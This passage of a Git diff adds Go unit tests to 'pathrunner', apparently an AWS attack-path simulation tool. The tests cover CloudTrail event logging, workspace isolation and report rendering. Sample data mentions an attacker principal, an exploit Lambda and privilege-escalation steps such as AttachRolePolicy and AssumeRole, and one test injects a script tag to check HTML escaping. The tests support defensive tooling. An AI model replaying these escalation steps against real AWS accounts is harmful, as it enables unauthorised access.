TestWorkspaceReport_TerminalRenderingUnchanged(t *testing.T) { + r, sm, _, cleanup := setupTest(t) + defer cleanup() + + addSampleData(sm) + + output := captureOutput(func() { + _ = r.ExecuteCommand("workspace report") + }) + + if !strings.Contains(output, "CREATED RESOURCES") { + t.Error("expected terminal report to still contain CREATED RESOURCES section") + } + if !strings.Contains(output, "CLOUDTRAIL EVENTS") { + t.Error("expected terminal report to still contain CLOUDTRAIL EVENTS section") + } + if strings.Contains(output, "Report written to") { + t.Error("unexpected file-write message in terminal mode") + } +} diff --git a/tests/unit/cloudtrail_logger_test.go b/tests/unit/cloudtrail_logger_test.go new file mode 100644 index 0000000..b8ded01 --- /dev/null +++ b/tests/unit/cloudtrail_logger_test.go @@ -0,0 +1,165 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. +// This product includes software developed at Datadog (https://www.datadoghq.com/) +// Copyright 2026 Datadog, Inc. + +package unit + +import ( + "os" + "testing" + + "github.com/DataDog/pathrunner/pkg/core" +) + +func TestLogCloudTrailEvent(t *testing.T) { + tempDir := t.TempDir() + originalHome := os.Getenv("HOME") + _ = os.Setenv("HOME", tempDir) + defer func() { _ = os.Setenv("HOME", originalHome) }() + + sm := core.NewSessionManager() + + sm.LogCloudTrailEvent("iam", "CreateAccessKey", "us-east-1", + "Created access key for IAM user alice", + map[string]string{"target_user": "alice"}) + + events := sm.GetCloudTrailEvents() + if len(events) != 1 { + t.Fatalf("Expected 1 CloudTrail event, got %d", len(events)) + } + + ev := events[0] + if ev.Service != "iam" { + t.Errorf("Expected service 'iam', got '%s'", ev.Service) + } + if ev.Operation != "CreateAccessKey" { + t.Errorf("Expected operation 'CreateAccessKey', got '%s'", ev.Operation) + } + if ev.Region != "us-east-1" { + t.Errorf("Expected region 'us-east-1', got '%s'", ev.Region) + } + if ev.Description != "Created access key for IAM user alice" { + t.Errorf("Unexpected description: %s", ev.Description) + } + if ev.Metadata["target_user"] != "alice" { + t.Errorf("Expected metadata target_user 'alice', got '%s'", ev.Metadata["target_user"]) + } +} + +func TestLogCloudTrailEventSetsModuleID(t *testing.T) { + tempDir := t.TempDir() + originalHome := os.Getenv("HOME") + _ = os.Setenv("HOME", tempDir) + defer func() { _ = os.Setenv("HOME", originalHome) }() + + sm := core.NewSessionManager() + + // Simulate the session having a current module set (as the REPL does before Execute()) + session := sm.GetCurrentSession() + session.CurrentModule = "iam-002" + + sm.LogCloudTrailEvent("iam", "CreateAccessKey", "us-east-1", + "Created access key", nil) + + events := sm.GetCloudTrailEvents() + if len(events) != 1 { + t.Fatalf("Expected 1 event, got %d", len(events)) + } + if events[0].ModuleID != "iam-002" { + t.Errorf("Expected module ID 'iam-002', got '%s'", events[0].ModuleID) + } +} + +func TestLogMultipleCloudTrailEvents(t *testing.T) { + tempDir := t.TempDir() + originalHome := os.Getenv("HOME") + _ = os.Setenv("HOME", tempDir) + defer func() { _ = os.Setenv("HOME", originalHome) }() + + sm := core.NewSessionManager() + + sm.LogCloudTrailEvent("sts", "GetCallerIdentity", "us-east-1", "Verified caller", nil) + sm.LogCloudTrailEvent("iam", "AttachRolePolicy", "us-east-1", "Attached policy to role", nil) + sm.LogCloudTrailEvent("sts", "AssumeRole", "us-east-1", "Assumed target role", nil) + + events := sm.GetCloudTrailEvents() + if len(events) != 3 { + t.Fatalf("Expected 3 events, got %d", len(events)) + } + if events[0].Operation != "GetCallerIdentity" { + t.Errorf("Expected first event GetCallerIdentity, got %s", events[0].Operation) + } + if events[2].Operation != "AssumeRole" { + t.Errorf("Expected third event AssumeRole, got %s", events[2].Operation) + } +} + +func TestGetCloudTrailEventsEmptyByDefault(t *testing.T) { + tempDir := t.TempDir() + originalHome := os.Getenv("HOME") + _ = os.Setenv("HOME", tempDir) + defer func() { _ = os.Setenv("HOME", originalHome) }() + + sm := core.NewSessionManager() + events := sm.GetCloudTrailEvents() + + // Should return empty slice (or nil), not panic + if len(events) != 0 { + t.Errorf("Expected no events initially, got %d", len(events)) + } +} + +func TestCloudTrailEventTimestamp(t *testing.T) { + tempDir := t.TempDir() + originalHome := os.Getenv("HOME") + _ = os.Setenv("HOME", tempDir) + defer func() { _ = os.Setenv("HOME", originalHome) }() + + sm := core.NewSessionManager() + sm.LogCloudTrailEvent("iam", "CreateUser", "us-east-1", "Created IAM user", nil) + + events := sm.GetCloudTrailEvents() + if len(events) != 1 { + t.Fatalf("Expected 1 event, got %d", len(events)) + } + if events[0].Timestamp.IsZero() { + t.Error("Expected non-zero timestamp on CloudTrail event") + } +} + +func TestCloudTrailEventsWorkspaceIsolation(t *testing.T) { + tempDir := t.TempDir() + originalHome := os.Getenv("HOME") + _ = os.Setenv("HOME", tempDir) + defer func() { _ = os.Setenv("HOME", originalHome) }() + + sm := core.NewSessionManager() + + // Log event in workspace A (default) + sm.LogCloudTrailEvent("iam", "CreateAccessKey", "us-east-1", "Event in default", nil) + + // Switch to workspace B + _ = sm.CreateSession("workspace-b") + _ = sm.SwitchSession("workspace-b") + + // Events in workspace B should be empty + eventsB := sm.GetCloudTrailEvents() + if len(eventsB) != 0 { + t.Errorf("Expected no events in workspace-b, got %d", len(eventsB)) + } + + // Log a different event in workspace B + sm.LogCloudTrailEvent("sts", "AssumeRole", "us-east-1", "Event in workspace-b", nil) + + // Switch back to default + _ = sm.SwitchSession("default") + + // Default workspace should still only have its original event + eventsDefault := sm.GetCloudTrailEvents() + if len(eventsDefault) != 1 { + t.Errorf("Expected 1 event in default workspace, got %d", len(eventsDefault)) + } + if eventsDefault[0].Operation != "CreateAccessKey" { + t.Errorf("Expected CreateAccessKey in default, got %s", eventsDefault[0].Operation) + } +} diff --git a/tests/unit/repl_test.go b/tests/unit/repl_test.go index 2fe98a8..8e80efa 100644 --- a/tests/unit/repl_test.go +++ b/tests/unit/repl_test.go @@ -126,6 +126,13 @@ func (m *MockSessionManager) GetCreatedResources() []repl.CreatedResource { func (m *MockSessionManager) TrackResource(resource modules.CreatedResource) { } +func (m *MockSessionManager) LogAWSCall(service, operation, region, description string, metadata map[string]string) { +} + +func (m *MockSessionManager) GetCloudTrailEvents() []repl.CloudTrailEvent { + return []repl.CloudTrailEvent{} +} + type MockSession struct{} func (m *MockSession) GetName() string { diff --git a/tests/unit/report_test.go b/tests/unit/report_test.go new file mode 100644 index 0000000..71f58fe --- /dev/null +++ b/tests/unit/report_test.go @@ -0,0 +1,634 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. +// This product includes software developed at Datadog (https://www.datadoghq.com/) +// Copyright 2026 Datadog, Inc. + +package unit + +import ( + "strings" + "testing" + "time" + + "github.com/DataDog/pathrunner/pkg/report" +) + +func sampleReportData() report.ReportData { + return report.ReportData{ + WorkspaceName: "test-workspace", + GeneratedAt: time.Date(2026, 1, 15, 10, 30, 0, 0, time.UTC), + Created: []report.Resource{ + { + Type: "lambda:function", + Name: "pathrunner-test-fn", + ARN: "arn:aws:lambda:us-east-1:123456789012:function:pathrunner-test-fn", + Region: "us-east-1", + ModuleID: "lambda-001", + CleanupMethod: "delete the Lambda function", + Created: "2026-01-15 10:00:00", + Metadata: map[string]string{}, + }, + }, + Modified: []report.Resource{ + { + Type: "iam:attached-policy", + Name: "test-user", + Region: "us-east-1", + ModuleID: "iam-001", + CleanupMethod: "detach the policy", + Metadata: map[string]string{ + "principal_type": "user", + "principal_name": "test-user", + "policy_arn": "arn:aws:iam::123456789012:policy/AdminPolicy", + }, + }, + }, + Events: []report.Event{ + { + Timestamp: "2026-01-15 10:00:01", + ModuleID: "lambda-001", + Service: "lambda", + Operation: "CreateFunction", + Region: "us-east-1", + Principal: "arn:aws:iam::123456789012:user/attacker", + Description: "created exploit Lambda function", + }, + }, + } +} + +// --- Markdown tests --- + +func TestRenderMarkdown_basicReport(t *testing.T) { + data := sampleReportData() + md := report.RenderMarkdown(data) + + checks := []string{ + "# Pathrunner Workspace Report", + "test-workspace", + "2026-01-15", + "## Summary", + "## Created Resources", + "pathrunner-test-fn", + "lambda:function", + "arn:aws:lambda:us-east-1:123456789012:function:pathrunner-test-fn", + // cleanup command now paired inline with the resource, not in a separate section + "aws lambda delete-function", + "## Modified Resources", + "iam:attached-policy", + "test-user (user)", + "arn:aws:iam::123456789012:policy/AdminPolicy", + "aws iam detach-user-policy", + "## CloudTrail Events", + "CreateFunction", + "| Timestamp | Module | Service | Operation | Principal | Description |", + } + + if strings.Contains(md, "## Manual Cleanup Commands") { + t.Error("standalone Manual Cleanup Commands section should no longer exist; commands are paired with resources") + } + + for _, want := range checks { + if !strings.Contains(md, want) { + t.Errorf("expected Markdown to contain %q", want) + } + } +} + +func TestRenderMarkdown_emptyEvents(t *testing.T) { + data := sampleReportData() + data.Events = nil + md := report.RenderMarkdown(data) + + if strings.Contains(md, "## CloudTrail Events") { + t.Error("CloudTrail section should be absent when there are no events") + } +} + +func TestRenderMarkdown_moduleFilter(t *testing.T) { + data := sampleReportData() + data.ModuleFilter = "lambda-001" + md := report.RenderMarkdown(data) + + if !strings.Contains(md, "module_filter") { + t.Error("expected frontmatter to include module_filter when set") + } + if !strings.Contains(md, "lambda-001") { + t.Error("expected module filter value to appear in Markdown") + } +} + +func TestRenderMarkdown_emptyCreated(t *testing.T) { + data := sampleReportData() + data.Created = nil + md := report.RenderMarkdown(data) + + if strings.Contains(md, "## Created Resources") { + t.Error("Created Resources section should be absent when no created resources") + } + // Modified section should still appear + if !strings.Contains(md, "## Modified Resources") { + t.Error("Modified Resources section should still appear") + } +} + +func TestRenderMarkdown_pipeEscaping(t *testing.T) { + data := sampleReportData() + // Pipe character in a description would break the Markdown table if unescaped. + data.Events[0].Description = "foo | bar | baz" + md := report.RenderMarkdown(data) + + if strings.Contains(md, "foo | bar | baz") { + t.Error("raw pipe in table cell must be escaped as \\|") + } + if !strings.Contains(md, "foo \\| bar \\| baz") { + t.Error("expected escaped pipe characters in CloudTrail table") + } +} + +// --- HTML tests --- + +func TestRenderHTML_basicReport(t *testing.T) { + data := sampleReportData() + html, err := report.RenderHTML(data) + if err != nil { + t.Fatalf("RenderHTML returned error: %v", err) + } + + checks := []string{ + "", + "test-workspace", + "pathrunner-test-fn", + "lambda:function", + "arn:aws:lambda:us-east-1:123456789012:function:pathrunner-test-fn", + "iam:attached-policy", + "CreateFunction", + "aws lambda delete-function", + } + + for _, want := range checks { + if !strings.Contains(html, want) { + t.Errorf("expected HTML to contain %q", want) + } + } +} + +func TestRenderHTML_escaping(t *testing.T) { + data := sampleReportData() + // Inject a script tag — html/template must escape it. + data.Created[0].Name = "" + data.Events[0].Description = "" + + html, err := report.RenderHTML(data) + if err != nil { + t.Fatalf("RenderHTML returned error: %v", err) + } + + // Raw tags must not appear in the output. + if strings.Contains(html, "